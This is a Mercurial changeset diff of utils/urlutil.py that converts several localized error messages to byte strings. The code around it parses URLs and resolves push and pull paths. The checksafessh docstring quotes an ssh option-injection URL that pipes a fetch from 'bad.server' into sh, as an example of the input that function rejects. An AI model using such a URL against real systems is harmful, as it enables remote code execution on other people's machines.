##// END OF EJS Templates
urlutil: byteify several localized messages...
Matt Harbison -
r48204:515014d7 default
parent child Browse files
Show More
@@ -1,923 +1,927 b''
1 # utils.urlutil - code related to [paths] management
1 # utils.urlutil - code related to [paths] management
2 #
2 #
3 # Copyright 2005-2021 Olivia Mackall <olivia@selenic.com> and others
3 # Copyright 2005-2021 Olivia Mackall <olivia@selenic.com> and others
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7 import os
7 import os
8 import re as remod
8 import re as remod
9 import socket
9 import socket
10
10
11 from ..i18n import _
11 from ..i18n import _
12 from ..pycompat import (
12 from ..pycompat import (
13 getattr,
13 getattr,
14 setattr,
14 setattr,
15 )
15 )
16 from .. import (
16 from .. import (
17 encoding,
17 encoding,
18 error,
18 error,
19 pycompat,
19 pycompat,
20 urllibcompat,
20 urllibcompat,
21 )
21 )
22
22
23 from . import (
23 from . import (
24 stringutil,
24 stringutil,
25 )
25 )
26
26
27
27
28 if pycompat.TYPE_CHECKING:
28 if pycompat.TYPE_CHECKING:
29 from typing import (
29 from typing import (
30 Union,
30 Union,
31 )
31 )
32
32
33 urlreq = urllibcompat.urlreq
33 urlreq = urllibcompat.urlreq
34
34
35
35
36 def getport(port):
36 def getport(port):
37 # type: (Union[bytes, int]) -> int
37 # type: (Union[bytes, int]) -> int
38 """Return the port for a given network service.
38 """Return the port for a given network service.
39
39
40 If port is an integer, it's returned as is. If it's a string, it's
40 If port is an integer, it's returned as is. If it's a string, it's
41 looked up using socket.getservbyname(). If there's no matching
41 looked up using socket.getservbyname(). If there's no matching
42 service, error.Abort is raised.
42 service, error.Abort is raised.
43 """
43 """
44 try:
44 try:
45 return int(port)
45 return int(port)
46 except ValueError:
46 except ValueError:
47 pass
47 pass
48
48
49 try:
49 try:
50 return socket.getservbyname(pycompat.sysstr(port))
50 return socket.getservbyname(pycompat.sysstr(port))
51 except socket.error:
51 except socket.error:
52 raise error.Abort(
52 raise error.Abort(
53 _(b"no port number associated with service '%s'") % port
53 _(b"no port number associated with service '%s'") % port
54 )
54 )
55
55
56
56
57 class url(object):
57 class url(object):
58 r"""Reliable URL parser.
58 r"""Reliable URL parser.
59
59
60 This parses URLs and provides attributes for the following
60 This parses URLs and provides attributes for the following
61 components:
61 components:
62
62
63 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
63 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
64
64
65 Missing components are set to None. The only exception is
65 Missing components are set to None. The only exception is
66 fragment, which is set to '' if present but empty.
66 fragment, which is set to '' if present but empty.
67
67
68 If parsefragment is False, fragment is included in query. If
68 If parsefragment is False, fragment is included in query. If
69 parsequery is False, query is included in path. If both are
69 parsequery is False, query is included in path. If both are
70 False, both fragment and query are included in path.
70 False, both fragment and query are included in path.
71
71
72 See http://www.ietf.org/rfc/rfc2396.txt for more information.
72 See http://www.ietf.org/rfc/rfc2396.txt for more information.
73
73
74 Note that for backward compatibility reasons, bundle URLs do not
74 Note that for backward compatibility reasons, bundle URLs do not
75 take host names. That means 'bundle://../' has a path of '../'.
75 take host names. That means 'bundle://../' has a path of '../'.
76
76
77 Examples:
77 Examples:
78
78
79 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
79 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
80 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
80 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
81 >>> url(b'ssh://[::1]:2200//home/joe/repo')
81 >>> url(b'ssh://[::1]:2200//home/joe/repo')
82 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
82 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
83 >>> url(b'file:///home/joe/repo')
83 >>> url(b'file:///home/joe/repo')
84 <url scheme: 'file', path: '/home/joe/repo'>
84 <url scheme: 'file', path: '/home/joe/repo'>
85 >>> url(b'file:///c:/temp/foo/')
85 >>> url(b'file:///c:/temp/foo/')
86 <url scheme: 'file', path: 'c:/temp/foo/'>
86 <url scheme: 'file', path: 'c:/temp/foo/'>
87 >>> url(b'bundle:foo')
87 >>> url(b'bundle:foo')
88 <url scheme: 'bundle', path: 'foo'>
88 <url scheme: 'bundle', path: 'foo'>
89 >>> url(b'bundle://../foo')
89 >>> url(b'bundle://../foo')
90 <url scheme: 'bundle', path: '../foo'>
90 <url scheme: 'bundle', path: '../foo'>
91 >>> url(br'c:\foo\bar')
91 >>> url(br'c:\foo\bar')
92 <url path: 'c:\\foo\\bar'>
92 <url path: 'c:\\foo\\bar'>
93 >>> url(br'\\blah\blah\blah')
93 >>> url(br'\\blah\blah\blah')
94 <url path: '\\\\blah\\blah\\blah'>
94 <url path: '\\\\blah\\blah\\blah'>
95 >>> url(br'\\blah\blah\blah#baz')
95 >>> url(br'\\blah\blah\blah#baz')
96 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
96 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
97 >>> url(br'file:///C:\users\me')
97 >>> url(br'file:///C:\users\me')
98 <url scheme: 'file', path: 'C:\\users\\me'>
98 <url scheme: 'file', path: 'C:\\users\\me'>
99
99
100 Authentication credentials:
100 Authentication credentials:
101
101
102 >>> url(b'ssh://joe:xyz@x/repo')
102 >>> url(b'ssh://joe:xyz@x/repo')
103 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
103 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
104 >>> url(b'ssh://joe@x/repo')
104 >>> url(b'ssh://joe@x/repo')
105 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
105 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
106
106
107 Query strings and fragments:
107 Query strings and fragments:
108
108
109 >>> url(b'http://host/a?b#c')
109 >>> url(b'http://host/a?b#c')
110 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
110 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
111 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
111 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
112 <url scheme: 'http', host: 'host', path: 'a?b#c'>
112 <url scheme: 'http', host: 'host', path: 'a?b#c'>
113
113
114 Empty path:
114 Empty path:
115
115
116 >>> url(b'')
116 >>> url(b'')
117 <url path: ''>
117 <url path: ''>
118 >>> url(b'#a')
118 >>> url(b'#a')
119 <url path: '', fragment: 'a'>
119 <url path: '', fragment: 'a'>
120 >>> url(b'http://host/')
120 >>> url(b'http://host/')
121 <url scheme: 'http', host: 'host', path: ''>
121 <url scheme: 'http', host: 'host', path: ''>
122 >>> url(b'http://host/#a')
122 >>> url(b'http://host/#a')
123 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
123 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
124
124
125 Only scheme:
125 Only scheme:
126
126
127 >>> url(b'http:')
127 >>> url(b'http:')
128 <url scheme: 'http'>
128 <url scheme: 'http'>
129 """
129 """
130
130
131 _safechars = b"!~*'()+"
131 _safechars = b"!~*'()+"
132 _safepchars = b"/!~*'()+:\\"
132 _safepchars = b"/!~*'()+:\\"
133 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
133 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
134
134
135 def __init__(self, path, parsequery=True, parsefragment=True):
135 def __init__(self, path, parsequery=True, parsefragment=True):
136 # type: (bytes, bool, bool) -> None
136 # type: (bytes, bool, bool) -> None
137 # We slowly chomp away at path until we have only the path left
137 # We slowly chomp away at path until we have only the path left
138 self.scheme = self.user = self.passwd = self.host = None
138 self.scheme = self.user = self.passwd = self.host = None
139 self.port = self.path = self.query = self.fragment = None
139 self.port = self.path = self.query = self.fragment = None
140 self._localpath = True
140 self._localpath = True
141 self._hostport = b''
141 self._hostport = b''
142 self._origpath = path
142 self._origpath = path
143
143
144 if parsefragment and b'#' in path:
144 if parsefragment and b'#' in path:
145 path, self.fragment = path.split(b'#', 1)
145 path, self.fragment = path.split(b'#', 1)
146
146
147 # special case for Windows drive letters and UNC paths
147 # special case for Windows drive letters and UNC paths
148 if hasdriveletter(path) or path.startswith(b'\\\\'):
148 if hasdriveletter(path) or path.startswith(b'\\\\'):
149 self.path = path
149 self.path = path
150 return
150 return
151
151
152 # For compatibility reasons, we can't handle bundle paths as
152 # For compatibility reasons, we can't handle bundle paths as
153 # normal URLS
153 # normal URLS
154 if path.startswith(b'bundle:'):
154 if path.startswith(b'bundle:'):
155 self.scheme = b'bundle'
155 self.scheme = b'bundle'
156 path = path[7:]
156 path = path[7:]
157 if path.startswith(b'//'):
157 if path.startswith(b'//'):
158 path = path[2:]
158 path = path[2:]
159 self.path = path
159 self.path = path
160 return
160 return
161
161
162 if self._matchscheme(path):
162 if self._matchscheme(path):
163 parts = path.split(b':', 1)
163 parts = path.split(b':', 1)
164 if parts[0]:
164 if parts[0]:
165 self.scheme, path = parts
165 self.scheme, path = parts
166 self._localpath = False
166 self._localpath = False
167
167
168 if not path:
168 if not path:
169 path = None
169 path = None
170 if self._localpath:
170 if self._localpath:
171 self.path = b''
171 self.path = b''
172 return
172 return
173 else:
173 else:
174 if self._localpath:
174 if self._localpath:
175 self.path = path
175 self.path = path
176 return
176 return
177
177
178 if parsequery and b'?' in path:
178 if parsequery and b'?' in path:
179 path, self.query = path.split(b'?', 1)
179 path, self.query = path.split(b'?', 1)
180 if not path:
180 if not path:
181 path = None
181 path = None
182 if not self.query:
182 if not self.query:
183 self.query = None
183 self.query = None
184
184
185 # // is required to specify a host/authority
185 # // is required to specify a host/authority
186 if path and path.startswith(b'//'):
186 if path and path.startswith(b'//'):
187 parts = path[2:].split(b'/', 1)
187 parts = path[2:].split(b'/', 1)
188 if len(parts) > 1:
188 if len(parts) > 1:
189 self.host, path = parts
189 self.host, path = parts
190 else:
190 else:
191 self.host = parts[0]
191 self.host = parts[0]
192 path = None
192 path = None
193 if not self.host:
193 if not self.host:
194 self.host = None
194 self.host = None
195 # path of file:///d is /d
195 # path of file:///d is /d
196 # path of file:///d:/ is d:/, not /d:/
196 # path of file:///d:/ is d:/, not /d:/
197 if path and not hasdriveletter(path):
197 if path and not hasdriveletter(path):
198 path = b'/' + path
198 path = b'/' + path
199
199
200 if self.host and b'@' in self.host:
200 if self.host and b'@' in self.host:
201 self.user, self.host = self.host.rsplit(b'@', 1)
201 self.user, self.host = self.host.rsplit(b'@', 1)
202 if b':' in self.user:
202 if b':' in self.user:
203 self.user, self.passwd = self.user.split(b':', 1)
203 self.user, self.passwd = self.user.split(b':', 1)
204 if not self.host:
204 if not self.host:
205 self.host = None
205 self.host = None
206
206
207 # Don't split on colons in IPv6 addresses without ports
207 # Don't split on colons in IPv6 addresses without ports
208 if (
208 if (
209 self.host
209 self.host
210 and b':' in self.host
210 and b':' in self.host
211 and not (
211 and not (
212 self.host.startswith(b'[') and self.host.endswith(b']')
212 self.host.startswith(b'[') and self.host.endswith(b']')
213 )
213 )
214 ):
214 ):
215 self._hostport = self.host
215 self._hostport = self.host
216 self.host, self.port = self.host.rsplit(b':', 1)
216 self.host, self.port = self.host.rsplit(b':', 1)
217 if not self.host:
217 if not self.host:
218 self.host = None
218 self.host = None
219
219
220 if (
220 if (
221 self.host
221 self.host
222 and self.scheme == b'file'
222 and self.scheme == b'file'
223 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
223 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
224 ):
224 ):
225 raise error.Abort(
225 raise error.Abort(
226 _(b'file:// URLs can only refer to localhost')
226 _(b'file:// URLs can only refer to localhost')
227 )
227 )
228
228
229 self.path = path
229 self.path = path
230
230
231 # leave the query string escaped
231 # leave the query string escaped
232 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
232 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
233 v = getattr(self, a)
233 v = getattr(self, a)
234 if v is not None:
234 if v is not None:
235 setattr(self, a, urlreq.unquote(v))
235 setattr(self, a, urlreq.unquote(v))
236
236
237 def copy(self):
237 def copy(self):
238 u = url(b'temporary useless value')
238 u = url(b'temporary useless value')
239 u.path = self.path
239 u.path = self.path
240 u.scheme = self.scheme
240 u.scheme = self.scheme
241 u.user = self.user
241 u.user = self.user
242 u.passwd = self.passwd
242 u.passwd = self.passwd
243 u.host = self.host
243 u.host = self.host
244 u.path = self.path
244 u.path = self.path
245 u.query = self.query
245 u.query = self.query
246 u.fragment = self.fragment
246 u.fragment = self.fragment
247 u._localpath = self._localpath
247 u._localpath = self._localpath
248 u._hostport = self._hostport
248 u._hostport = self._hostport
249 u._origpath = self._origpath
249 u._origpath = self._origpath
250 return u
250 return u
251
251
252 @encoding.strmethod
252 @encoding.strmethod
253 def __repr__(self):
253 def __repr__(self):
254 attrs = []
254 attrs = []
255 for a in (
255 for a in (
256 b'scheme',
256 b'scheme',
257 b'user',
257 b'user',
258 b'passwd',
258 b'passwd',
259 b'host',
259 b'host',
260 b'port',
260 b'port',
261 b'path',
261 b'path',
262 b'query',
262 b'query',
263 b'fragment',
263 b'fragment',
264 ):
264 ):
265 v = getattr(self, a)
265 v = getattr(self, a)
266 if v is not None:
266 if v is not None:
267 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
267 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
268 return b'<url %s>' % b', '.join(attrs)
268 return b'<url %s>' % b', '.join(attrs)
269
269
270 def __bytes__(self):
270 def __bytes__(self):
271 r"""Join the URL's components back into a URL string.
271 r"""Join the URL's components back into a URL string.
272
272
273 Examples:
273 Examples:
274
274
275 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
275 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
276 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
276 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
277 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
277 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
278 'http://user:pw@host:80/?foo=bar&baz=42'
278 'http://user:pw@host:80/?foo=bar&baz=42'
279 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
279 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
280 'http://user:pw@host:80/?foo=bar%3dbaz'
280 'http://user:pw@host:80/?foo=bar%3dbaz'
281 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
281 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
282 'ssh://user:pw@[::1]:2200//home/joe#'
282 'ssh://user:pw@[::1]:2200//home/joe#'
283 >>> bytes(url(b'http://localhost:80//'))
283 >>> bytes(url(b'http://localhost:80//'))
284 'http://localhost:80//'
284 'http://localhost:80//'
285 >>> bytes(url(b'http://localhost:80/'))
285 >>> bytes(url(b'http://localhost:80/'))
286 'http://localhost:80/'
286 'http://localhost:80/'
287 >>> bytes(url(b'http://localhost:80'))
287 >>> bytes(url(b'http://localhost:80'))
288 'http://localhost:80/'
288 'http://localhost:80/'
289 >>> bytes(url(b'bundle:foo'))
289 >>> bytes(url(b'bundle:foo'))
290 'bundle:foo'
290 'bundle:foo'
291 >>> bytes(url(b'bundle://../foo'))
291 >>> bytes(url(b'bundle://../foo'))
292 'bundle:../foo'
292 'bundle:../foo'
293 >>> bytes(url(b'path'))
293 >>> bytes(url(b'path'))
294 'path'
294 'path'
295 >>> bytes(url(b'file:///tmp/foo/bar'))
295 >>> bytes(url(b'file:///tmp/foo/bar'))
296 'file:///tmp/foo/bar'
296 'file:///tmp/foo/bar'
297 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
297 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
298 'file:///c:/tmp/foo/bar'
298 'file:///c:/tmp/foo/bar'
299 >>> print(url(br'bundle:foo\bar'))
299 >>> print(url(br'bundle:foo\bar'))
300 bundle:foo\bar
300 bundle:foo\bar
301 >>> print(url(br'file:///D:\data\hg'))
301 >>> print(url(br'file:///D:\data\hg'))
302 file:///D:\data\hg
302 file:///D:\data\hg
303 """
303 """
304 if self._localpath:
304 if self._localpath:
305 s = self.path
305 s = self.path
306 if self.scheme == b'bundle':
306 if self.scheme == b'bundle':
307 s = b'bundle:' + s
307 s = b'bundle:' + s
308 if self.fragment:
308 if self.fragment:
309 s += b'#' + self.fragment
309 s += b'#' + self.fragment
310 return s
310 return s
311
311
312 s = self.scheme + b':'
312 s = self.scheme + b':'
313 if self.user or self.passwd or self.host:
313 if self.user or self.passwd or self.host:
314 s += b'//'
314 s += b'//'
315 elif self.scheme and (
315 elif self.scheme and (
316 not self.path
316 not self.path
317 or self.path.startswith(b'/')
317 or self.path.startswith(b'/')
318 or hasdriveletter(self.path)
318 or hasdriveletter(self.path)
319 ):
319 ):
320 s += b'//'
320 s += b'//'
321 if hasdriveletter(self.path):
321 if hasdriveletter(self.path):
322 s += b'/'
322 s += b'/'
323 if self.user:
323 if self.user:
324 s += urlreq.quote(self.user, safe=self._safechars)
324 s += urlreq.quote(self.user, safe=self._safechars)
325 if self.passwd:
325 if self.passwd:
326 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
326 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
327 if self.user or self.passwd:
327 if self.user or self.passwd:
328 s += b'@'
328 s += b'@'
329 if self.host:
329 if self.host:
330 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
330 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
331 s += urlreq.quote(self.host)
331 s += urlreq.quote(self.host)
332 else:
332 else:
333 s += self.host
333 s += self.host
334 if self.port:
334 if self.port:
335 s += b':' + urlreq.quote(self.port)
335 s += b':' + urlreq.quote(self.port)
336 if self.host:
336 if self.host:
337 s += b'/'
337 s += b'/'
338 if self.path:
338 if self.path:
339 # TODO: similar to the query string, we should not unescape the
339 # TODO: similar to the query string, we should not unescape the
340 # path when we store it, the path might contain '%2f' = '/',
340 # path when we store it, the path might contain '%2f' = '/',
341 # which we should *not* escape.
341 # which we should *not* escape.
342 s += urlreq.quote(self.path, safe=self._safepchars)
342 s += urlreq.quote(self.path, safe=self._safepchars)
343 if self.query:
343 if self.query:
344 # we store the query in escaped form.
344 # we store the query in escaped form.
345 s += b'?' + self.query
345 s += b'?' + self.query
346 if self.fragment is not None:
346 if self.fragment is not None:
347 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
347 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
348 return s
348 return s
349
349
350 __str__ = encoding.strmethod(__bytes__)
350 __str__ = encoding.strmethod(__bytes__)
351
351
352 def authinfo(self):
352 def authinfo(self):
353 user, passwd = self.user, self.passwd
353 user, passwd = self.user, self.passwd
354 try:
354 try:
355 self.user, self.passwd = None, None
355 self.user, self.passwd = None, None
356 s = bytes(self)
356 s = bytes(self)
357 finally:
357 finally:
358 self.user, self.passwd = user, passwd
358 self.user, self.passwd = user, passwd
359 if not self.user:
359 if not self.user:
360 return (s, None)
360 return (s, None)
361 # authinfo[1] is passed to urllib2 password manager, and its
361 # authinfo[1] is passed to urllib2 password manager, and its
362 # URIs must not contain credentials. The host is passed in the
362 # URIs must not contain credentials. The host is passed in the
363 # URIs list because Python < 2.4.3 uses only that to search for
363 # URIs list because Python < 2.4.3 uses only that to search for
364 # a password.
364 # a password.
365 return (s, (None, (s, self.host), self.user, self.passwd or b''))
365 return (s, (None, (s, self.host), self.user, self.passwd or b''))
366
366
367 def isabs(self):
367 def isabs(self):
368 if self.scheme and self.scheme != b'file':
368 if self.scheme and self.scheme != b'file':
369 return True # remote URL
369 return True # remote URL
370 if hasdriveletter(self.path):
370 if hasdriveletter(self.path):
371 return True # absolute for our purposes - can't be joined()
371 return True # absolute for our purposes - can't be joined()
372 if self.path.startswith(br'\\'):
372 if self.path.startswith(br'\\'):
373 return True # Windows UNC path
373 return True # Windows UNC path
374 if self.path.startswith(b'/'):
374 if self.path.startswith(b'/'):
375 return True # POSIX-style
375 return True # POSIX-style
376 return False
376 return False
377
377
378 def localpath(self):
378 def localpath(self):
379 # type: () -> bytes
379 # type: () -> bytes
380 if self.scheme == b'file' or self.scheme == b'bundle':
380 if self.scheme == b'file' or self.scheme == b'bundle':
381 path = self.path or b'/'
381 path = self.path or b'/'
382 # For Windows, we need to promote hosts containing drive
382 # For Windows, we need to promote hosts containing drive
383 # letters to paths with drive letters.
383 # letters to paths with drive letters.
384 if hasdriveletter(self._hostport):
384 if hasdriveletter(self._hostport):
385 path = self._hostport + b'/' + self.path
385 path = self._hostport + b'/' + self.path
386 elif (
386 elif (
387 self.host is not None and self.path and not hasdriveletter(path)
387 self.host is not None and self.path and not hasdriveletter(path)
388 ):
388 ):
389 path = b'/' + path
389 path = b'/' + path
390 return path
390 return path
391 return self._origpath
391 return self._origpath
392
392
393 def islocal(self):
393 def islocal(self):
394 '''whether localpath will return something that posixfile can open'''
394 '''whether localpath will return something that posixfile can open'''
395 return (
395 return (
396 not self.scheme
396 not self.scheme
397 or self.scheme == b'file'
397 or self.scheme == b'file'
398 or self.scheme == b'bundle'
398 or self.scheme == b'bundle'
399 )
399 )
400
400
401
401
402 def hasscheme(path):
402 def hasscheme(path):
403 # type: (bytes) -> bool
403 # type: (bytes) -> bool
404 return bool(url(path).scheme) # cast to help pytype
404 return bool(url(path).scheme) # cast to help pytype
405
405
406
406
407 def hasdriveletter(path):
407 def hasdriveletter(path):
408 # type: (bytes) -> bool
408 # type: (bytes) -> bool
409 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
409 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
410
410
411
411
412 def urllocalpath(path):
412 def urllocalpath(path):
413 # type: (bytes) -> bytes
413 # type: (bytes) -> bytes
414 return url(path, parsequery=False, parsefragment=False).localpath()
414 return url(path, parsequery=False, parsefragment=False).localpath()
415
415
416
416
417 def checksafessh(path):
417 def checksafessh(path):
418 # type: (bytes) -> None
418 # type: (bytes) -> None
419 """check if a path / url is a potentially unsafe ssh exploit (SEC)
419 """check if a path / url is a potentially unsafe ssh exploit (SEC)
420
420
421 This is a sanity check for ssh urls. ssh will parse the first item as
421 This is a sanity check for ssh urls. ssh will parse the first item as
422 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
422 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
423 Let's prevent these potentially exploited urls entirely and warn the
423 Let's prevent these potentially exploited urls entirely and warn the
424 user.
424 user.
425
425
426 Raises an error.Abort when the url is unsafe.
426 Raises an error.Abort when the url is unsafe.
427 """
427 """
428 path = urlreq.unquote(path)
428 path = urlreq.unquote(path)
429 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
429 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
430 raise error.Abort(
430 raise error.Abort(
431 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
431 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
432 )
432 )
433
433
434
434
435 def hidepassword(u):
435 def hidepassword(u):
436 # type: (bytes) -> bytes
436 # type: (bytes) -> bytes
437 '''hide user credential in a url string'''
437 '''hide user credential in a url string'''
438 u = url(u)
438 u = url(u)
439 if u.passwd:
439 if u.passwd:
440 u.passwd = b'***'
440 u.passwd = b'***'
441 return bytes(u)
441 return bytes(u)
442
442
443
443
444 def removeauth(u):
444 def removeauth(u):
445 # type: (bytes) -> bytes
445 # type: (bytes) -> bytes
446 '''remove all authentication information from a url string'''
446 '''remove all authentication information from a url string'''
447 u = url(u)
447 u = url(u)
448 u.user = u.passwd = None
448 u.user = u.passwd = None
449 return bytes(u)
449 return bytes(u)
450
450
451
451
452 def list_paths(ui, target_path=None):
452 def list_paths(ui, target_path=None):
453 """list all the (name, paths) in the passed ui"""
453 """list all the (name, paths) in the passed ui"""
454 result = []
454 result = []
455 if target_path is None:
455 if target_path is None:
456 for name, paths in sorted(pycompat.iteritems(ui.paths)):
456 for name, paths in sorted(pycompat.iteritems(ui.paths)):
457 for p in paths:
457 for p in paths:
458 result.append((name, p))
458 result.append((name, p))
459
459
460 else:
460 else:
461 for path in ui.paths.get(target_path, []):
461 for path in ui.paths.get(target_path, []):
462 result.append((target_path, path))
462 result.append((target_path, path))
463 return result
463 return result
464
464
465
465
466 def try_path(ui, url):
466 def try_path(ui, url):
467 """try to build a path from a url
467 """try to build a path from a url
468
468
469 Return None if no Path could built.
469 Return None if no Path could built.
470 """
470 """
471 try:
471 try:
472 # we pass the ui instance are warning might need to be issued
472 # we pass the ui instance are warning might need to be issued
473 return path(ui, None, rawloc=url)
473 return path(ui, None, rawloc=url)
474 except ValueError:
474 except ValueError:
475 return None
475 return None
476
476
477
477
478 def get_push_paths(repo, ui, dests):
478 def get_push_paths(repo, ui, dests):
479 """yields all the `path` selected as push destination by `dests`"""
479 """yields all the `path` selected as push destination by `dests`"""
480 if not dests:
480 if not dests:
481 if b'default-push' in ui.paths:
481 if b'default-push' in ui.paths:
482 for p in ui.paths[b'default-push']:
482 for p in ui.paths[b'default-push']:
483 yield p
483 yield p
484 elif b'default' in ui.paths:
484 elif b'default' in ui.paths:
485 for p in ui.paths[b'default']:
485 for p in ui.paths[b'default']:
486 yield p
486 yield p
487 else:
487 else:
488 raise error.ConfigError(
488 raise error.ConfigError(
489 _(b'default repository not configured!'),
489 _(b'default repository not configured!'),
490 hint=_(b"see 'hg help config.paths'"),
490 hint=_(b"see 'hg help config.paths'"),
491 )
491 )
492 else:
492 else:
493 for dest in dests:
493 for dest in dests:
494 if dest in ui.paths:
494 if dest in ui.paths:
495 for p in ui.paths[dest]:
495 for p in ui.paths[dest]:
496 yield p
496 yield p
497 else:
497 else:
498 path = try_path(ui, dest)
498 path = try_path(ui, dest)
499 if path is None:
499 if path is None:
500 msg = _(b'repository %s does not exist')
500 msg = _(b'repository %s does not exist')
501 msg %= dest
501 msg %= dest
502 raise error.RepoError(msg)
502 raise error.RepoError(msg)
503 yield path
503 yield path
504
504
505
505
506 def get_pull_paths(repo, ui, sources, default_branches=()):
506 def get_pull_paths(repo, ui, sources, default_branches=()):
507 """yields all the `(path, branch)` selected as pull source by `sources`"""
507 """yields all the `(path, branch)` selected as pull source by `sources`"""
508 if not sources:
508 if not sources:
509 sources = [b'default']
509 sources = [b'default']
510 for source in sources:
510 for source in sources:
511 if source in ui.paths:
511 if source in ui.paths:
512 for p in ui.paths[source]:
512 for p in ui.paths[source]:
513 yield parseurl(p.rawloc, default_branches)
513 yield parseurl(p.rawloc, default_branches)
514 else:
514 else:
515 # Try to resolve as a local path or URI.
515 # Try to resolve as a local path or URI.
516 path = try_path(ui, source)
516 path = try_path(ui, source)
517 if path is not None:
517 if path is not None:
518 url = path.rawloc
518 url = path.rawloc
519 else:
519 else:
520 url = source
520 url = source
521 yield parseurl(url, default_branches)
521 yield parseurl(url, default_branches)
522
522
523
523
524 def get_unique_push_path(action, repo, ui, dest=None):
524 def get_unique_push_path(action, repo, ui, dest=None):
525 """return a unique `path` or abort if multiple are found
525 """return a unique `path` or abort if multiple are found
526
526
527 This is useful for command and action that does not support multiple
527 This is useful for command and action that does not support multiple
528 destination (yet).
528 destination (yet).
529
529
530 Note that for now, we cannot get multiple destination so this function is "trivial".
530 Note that for now, we cannot get multiple destination so this function is "trivial".
531
531
532 The `action` parameter will be used for the error message.
532 The `action` parameter will be used for the error message.
533 """
533 """
534 if dest is None:
534 if dest is None:
535 dests = []
535 dests = []
536 else:
536 else:
537 dests = [dest]
537 dests = [dest]
538 dests = list(get_push_paths(repo, ui, dests))
538 dests = list(get_push_paths(repo, ui, dests))
539 if len(dests) != 1:
539 if len(dests) != 1:
540 if dest is None:
540 if dest is None:
541 msg = _("default path points to %d urls while %s only supports one")
541 msg = _(
542 b"default path points to %d urls while %s only supports one"
543 )
542 msg %= (len(dests), action)
544 msg %= (len(dests), action)
543 else:
545 else:
544 msg = _("path points to %d urls while %s only supports one: %s")
546 msg = _(b"path points to %d urls while %s only supports one: %s")
545 msg %= (len(dests), action, dest)
547 msg %= (len(dests), action, dest)
546 raise error.Abort(msg)
548 raise error.Abort(msg)
547 return dests[0]
549 return dests[0]
548
550
549
551
550 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
552 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
551 """return a unique `(path, branch)` or abort if multiple are found
553 """return a unique `(path, branch)` or abort if multiple are found
552
554
553 This is useful for command and action that does not support multiple
555 This is useful for command and action that does not support multiple
554 destination (yet).
556 destination (yet).
555
557
556 Note that for now, we cannot get multiple destination so this function is "trivial".
558 Note that for now, we cannot get multiple destination so this function is "trivial".
557
559
558 The `action` parameter will be used for the error message.
560 The `action` parameter will be used for the error message.
559 """
561 """
560 urls = []
562 urls = []
561 if source is None:
563 if source is None:
562 if b'default' in ui.paths:
564 if b'default' in ui.paths:
563 urls.extend(p.rawloc for p in ui.paths[b'default'])
565 urls.extend(p.rawloc for p in ui.paths[b'default'])
564 else:
566 else:
565 # XXX this is the historical default behavior, but that is not
567 # XXX this is the historical default behavior, but that is not
566 # great, consider breaking BC on this.
568 # great, consider breaking BC on this.
567 urls.append(b'default')
569 urls.append(b'default')
568 else:
570 else:
569 if source in ui.paths:
571 if source in ui.paths:
570 urls.extend(p.rawloc for p in ui.paths[source])
572 urls.extend(p.rawloc for p in ui.paths[source])
